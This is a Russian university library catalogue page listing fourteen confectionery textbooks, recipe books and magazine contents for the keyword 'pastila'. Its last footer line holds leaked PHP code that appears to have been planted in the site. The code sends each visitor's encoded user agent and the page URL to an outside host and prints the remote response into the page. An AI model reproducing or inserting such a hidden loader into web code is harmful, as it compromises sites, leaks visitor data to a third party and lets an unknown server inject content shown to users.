Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

374 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ПАСТИЛА")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 14
1. 
Кузнецова, Людмила Семеновна. Технология и организация производства кондитерских изделий [Текст] / Л. С. Кузнецова, М. Ю. Сиданова, 2009. - 478, [1] с.
Держатели документа (Информация об экземплярах) 

Рассмотрена технология переработки пищевого сырья в сахарные и мучные кондитерские изделия. Приведены требования к качеству сырья при его закупке, хранении и подготовке к первичной переработке, химический состав и свойства сырья и сведения о его подверженности изменениям под влиянием теплового, механического и других видов воздействия. Изложены методика составления рецептур кондитерских изделий и требования к качеству готовой продукции и ее хранению.

Во 2-е издание внесены исправления и дополнения, связанные с введением в действие новых ГОСТов на пищевые продукты по состоянию на 1 января 2009 г.

Для студентов средних профессиональных учебных заведений. Может быть полезен студентам вузов и специалистам кондитерского производства.

2. 
Драгилев, Абрам Иосифович. Основы кондитерского производства [Текст] / А. И. Драгилев, Г. А. Маршалкин ; дар. В. В. Арсеньев, 2007. - 531 с.
Держатели документа (Информация об экземплярах) 

В учебнике рассмотрены технология и оборудование для производства кондитерских изделий. Показана сущность химических и физических процессов и дано их математическое описание, достаточное для использования автоматизированных систем при управлении технологическими процессами. Изложены расчет и пересчет рецептур при замене сырья, а также технологический анализ расхода сырья.

Для студентов вузов, обучающихся по специальности "Технология хлеба, кондитерских и макаронных изделий", "Машины и аппараты пищевых производств".

3. 
Драгилев, Абрам Иосифович. Технологическое оборудование: хлебопекарное, макаронное и кондитерское [Текст] / А. И. Драгилев, В. М. Хромеенков, М. Е. Чернов ; дар. В. В. Арсеньев, 2004. - 428, [1] с.
Держатели документа (Информация об экземплярах) 

Приведены сведения о конструкционных материалах, транспортирующих устройства, общем и специализированном оборудовании для производства хлебных, макаронных и кондитерских изделий.

Для студентов образовательных учреждений среднего профессионального образования.

4. 
Драгилев, Абрам Иосифович. Технологическое оборудование: хлебопекарное, макаронное и кондитерское [Текст] / А. И. Драгилев, В. М. Хромеенков, М. Е. Чернов ; дар. В. В. Арсеньев, 2006. - 428, [1] с.
Держатели документа (Информация об экземплярах) 

Приведены сведения о конструкционных материалах, транспортирующих устройства, общем и специализированном оборудовании для производства хлебных, макаронных и кондитерских изделий.

Для студентов образовательных учреждений среднего профессионального образования.

5. 
Крестьянка. - Журнал, 2010г. № 7/8
Оглавление 
  • Книжные новинки. - с.15-16
  • [Фотоконкурс]. - с.6-7
  • [Письма читателей]. - с.8-9
  • Сойак, Екатерина. Женский праздник / Е. Сойак. - с.10
  • [Новинки кинофильмов]. - с.14, 16
  • 5 свадебных фильмов. - с.18
  • Посмитная, Лера. Званые гости / Л. Посмитная. - с.19
  • Цаплин, Алексей. Юридический практикум / А. Цаплин. - с.20
  • Климова, Екатерина. Бегущая по волнам / Е. Климова. - с.22-27
  • Лебедева, Валентина. Особенности национального замужества / В. Лебедева. - с.28-29
  • Лебедева, Валентина. Три вкуса Спаса / В. Лебедева. - с.30-31
  • Обухова, Людмила. Плоды воображения / Л. Обухова, Н. Арсенова. - с.32
  • Прокофьева, Елена. Картинная усадьба / Е. Прокофьева. - с.34-36
  • Чистова, Анна. Держать в рамках / А. Чистова. - с.37
  • Санжарова, Оксана. 33 коровы / О. Санжарова. - с.38-40
  • Войнова, Алена. Сказки из песка / А. Войнова. - с.42-43
  • Пиффари-Белогрудова, Валерия. Дольче вита / В. Пиффари-Белогрудова. - с.44-45
  • Вильямс, Мария. Поэма о рататуе / М. Вильямс. - с.48-51
  • Чистова, Анна. Лето в банке / А. Чистова. - с.52-53
  • Ардова, Анна. Жгучая блондинка / А. Ардова. - с.54-55
  • Гинкул, Оксана. Фруктовый плов / О. Гинкул. - с.56-57
  • Ягодные фантазии. - с.58-59
  • Новиков, Илья. Рис и рыба по-японски / И. Новиков. - с.60-61
  • Денисова, Елена. Пастила / Е. Денисова. - с.62-63
  • Ильина, Ася. Бесконтрольный муж / А. Ильина. - с.66-67
  • Редникова, Оксана. Непотерянные каникулы / О. Редникова. - с.68-69
  • Под надежной защитой. - с.70
  • Спиваковский, Даниил. Любовь - тяжелая работа / Д. Спиваковский. - с.72-73
  • Редникова, Оксана. Ночной дозор / О. Редникова. - с.74-75
  • Гулак, Евдокия. Любовь на два голоса / Е. Гулак. - с.76-77
  • Волнующие волны. - с.78-79
  • Санжарова, Оксана. Деревня Подушкино / О. Санжарова. - с.80-81
  • Лебедева, Валентина. Драгоценные сосуды / В. Лебедева. - с.82-83
  • [Здоровье]. - с.84-86
  • Посмитная, Лера. Места для поцелуев / Л. Посмитная. - с.88-91
  • Александрова, Ирина. Детский град Китеж / И. Александрова. - с.94-96
  • Никитина, Екатерина. Цветник Гертруды / Е. Никитина. - с.98-99
  • аль-Шимари, Елена. Приятные хлопоты / Е. аль-Шимари. - с.100-101
  • аль-Шимари, Елена. Счастье луковое / Е. аль-Шимари. - с.102-103
  • аль-Шимари, Елена. Маленький флорист / Е. аль-Шимари. - с.104-105
  • Волкова, Ольга. Зоопарк в моем багаже / О. Волкова. - с.106-107
  • Все в сад. - с.108-110
Держатели документа (Информация об экземплярах) 
6. 
Экология и жизнь. - Журнал, 2009г. № 7/8
Оглавление 
  • Прошкина, И. Поверните лицо к солнцу / И. Прошкина. - с.30-31 : ил.
  • Самсонов, А. Л. Барьер эффективности и "зеленый коридор" сотрудничества / А. Л. Самсонов. - с.32-36 : ил.
  • Либин, Э. От кризиса к кризису / Э. Либин, О. Фиговский. - с.37-40 : ил.
  • Горц, А. Экология и кризис / А. Горц. - с.41-45 : ил.
  • Кузнецов, И. "Северный поток": маршрут безопасности / И. Кузнецов. - с.48-49 : ил.
    Кл. слова: Nord Stream
  • Всемирная конференция ЮНЕСКО в Бонне. - с.62-64 : ил.
  • Потяева, Т. И. Молодежь сохраняет природное наследие / Т. И. Потяева. - с.65-66 : ил.
    Кл. слова: Молодежный экологический форум
  • Гереню, А. Л. Зеленый газон на автозаправке / А. Л. Гереню. - с.67-71 : ил.
  • Солоьева, Е. А. Береги свою планету, ведь другой, похожей, нету! / Е. А. Солоьева. - с.72-74 : ил.
    Кл. слова: Районный библиотечный экологический фестиваль
  • Коваленко, Н. Д. Жемчужницы / Н. Д. Коваленко. - с.75-79 : ил.
    Кл. слова: Моллюск, Жемчуг, Искусственное выращивание жемчуга
  • Большаков, В. Н. Управлять природой - значит беречь ее / В. Н. Большаков, А. А. Лущекина, В. М. Неронов. - с.80-87 : ил.
    Кл. слова: 12 принципов экосистемного подхода
  • Каздым, А. А. Техногенная опасность... из космоса / А. А. Каздым. - с.98-102 : ил.
    Кл. слова: Космический мусор
  • Елдышев, Ю. Н. Что таит тающая Арктика / Ю. Н. Елдышев. - с.103-105 : ил.
  • Зенин, В. В. Тяжелый металл / В. В. Зенин [и др.]. - с.108-113 : ил.
    Другие авторы: Осенков В. Н., Рягузов А. В., Федянин В. И., Хишко О. В.
    Кл. слова: Полигон ТБО
  • Семинар в Ясной Поляне. - с.117-119 : ил.
    Кл. слова: Музей-усадьба "Ясная Поляна"
  • Кудинов, К. А. Заповедные Жигули / К. А. Кудинов, Ю. П. Краснобаев. - с.120-125 : ил.
    Кл. слова: Средне-Волжский комплексный биосферный резерват
  • Кузнецов, И. Жажда мегаполисов / И. Кузнецов. - с.126-129 : ил.
  • Владимиров, И. Водные проекты России / И. Владимиров. - с.130-134 : ил.
    Кл. слова: Тихвинская водная система, Волго-Балтийский водный путь, Беломорско-Балтийский канал
  • Ревич, Б. А. "Горячие точки" / Б. А. Ревич. - с.136-141 : ил.
  • Передерин, В. Добрый камень за пазухой / В. Передерин. - с.142-144 : ил.
    Кл. слова: Люди и камни, Стоунтерапия
  • Кузнецов, И. Сладости на пользу / И. Кузнецов. - с.145-151 : ил.
    Кл. слова: Рецепты пастилы, зефира, халвы, Пастила, Зефир
  • Петров, А. А. Школа Моисеева / А. А. Петров. - с.5-9 : фот.
    Кл. слова: Моисеев Н. Н.
  • Кудрин, В. Б. Живое число философа А. Лосева / В. Б. Кудрин. - с.26-29 : рис.
    Кл. слова: Лосев А. Ф.
7. 
Лурье И. С. Технология кондитерского производства [Текст] / И. С. Лурье, 1992. - 399 с.
Держатели документа (Информация об экземплярах) 
8. 
Производство хлеба, хлебобулочных и кондитерских изделий. Торты и пирожные [Текст] / сост. В. А. Шипов, 1999. - 286 с.
Держатели документа (Информация об экземплярах) 
9. 
Шепелев А. Ф. Товароведение и экспертиза кондитерских товаров [Текст] : Учеб. пособие для студ. высш. учеб. заведений / А. Ф. Шепелев, И. А. Печенежская, А. В. Шмелев. - 223 с.
10. 
Глебова, Екатерина Ильинична. Ягодный сад [Текст] / Е. И. Глебова, В. В. Даньков, М. М. Скрипниченко, 1990. - 206, [2] с.
Держатели документа (Информация об экземплярах) 
11. 
Сборник основных рецептур сахаристых кондитерских изделий [Текст] : сборник / Сост. Н. С. Павлова, 2003. - 230 с.
Держатели документа (Информация об экземплярах) 
12. 
Скобельская З. Г. Технология производства сахарных кондитерских изделий [Текст] : Учеб. для учреждений нач. проф. образования / З. Г. Скобельская, Г. Н. Горячева, 2002. - 412 с.
Держатели документа (Информация об экземплярах) 
13. 
Драгилев А. И. Технология кондитерских изделий [Текст] : Учеб. для студ. образоват. учреждений сред. проф. образования / А. И. Драгилев, И. С. Лурье, 2003. - 429 с.
Держатели документа (Информация об экземплярах) 
14. 
Драгилев, Абрам Иосифович. Основы кондитерского производства [Текст] : Учеб. для вузов по специальностям "Технология хлеба, кондит. и макарон. изделий", "Машины и аппараты пищевых пр-в" / А. И. Драгилев, Г. А. Маршалкин, 1999. - 447 с.


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2847 - 27.03.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.97 с.16 запросов, 0.67c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;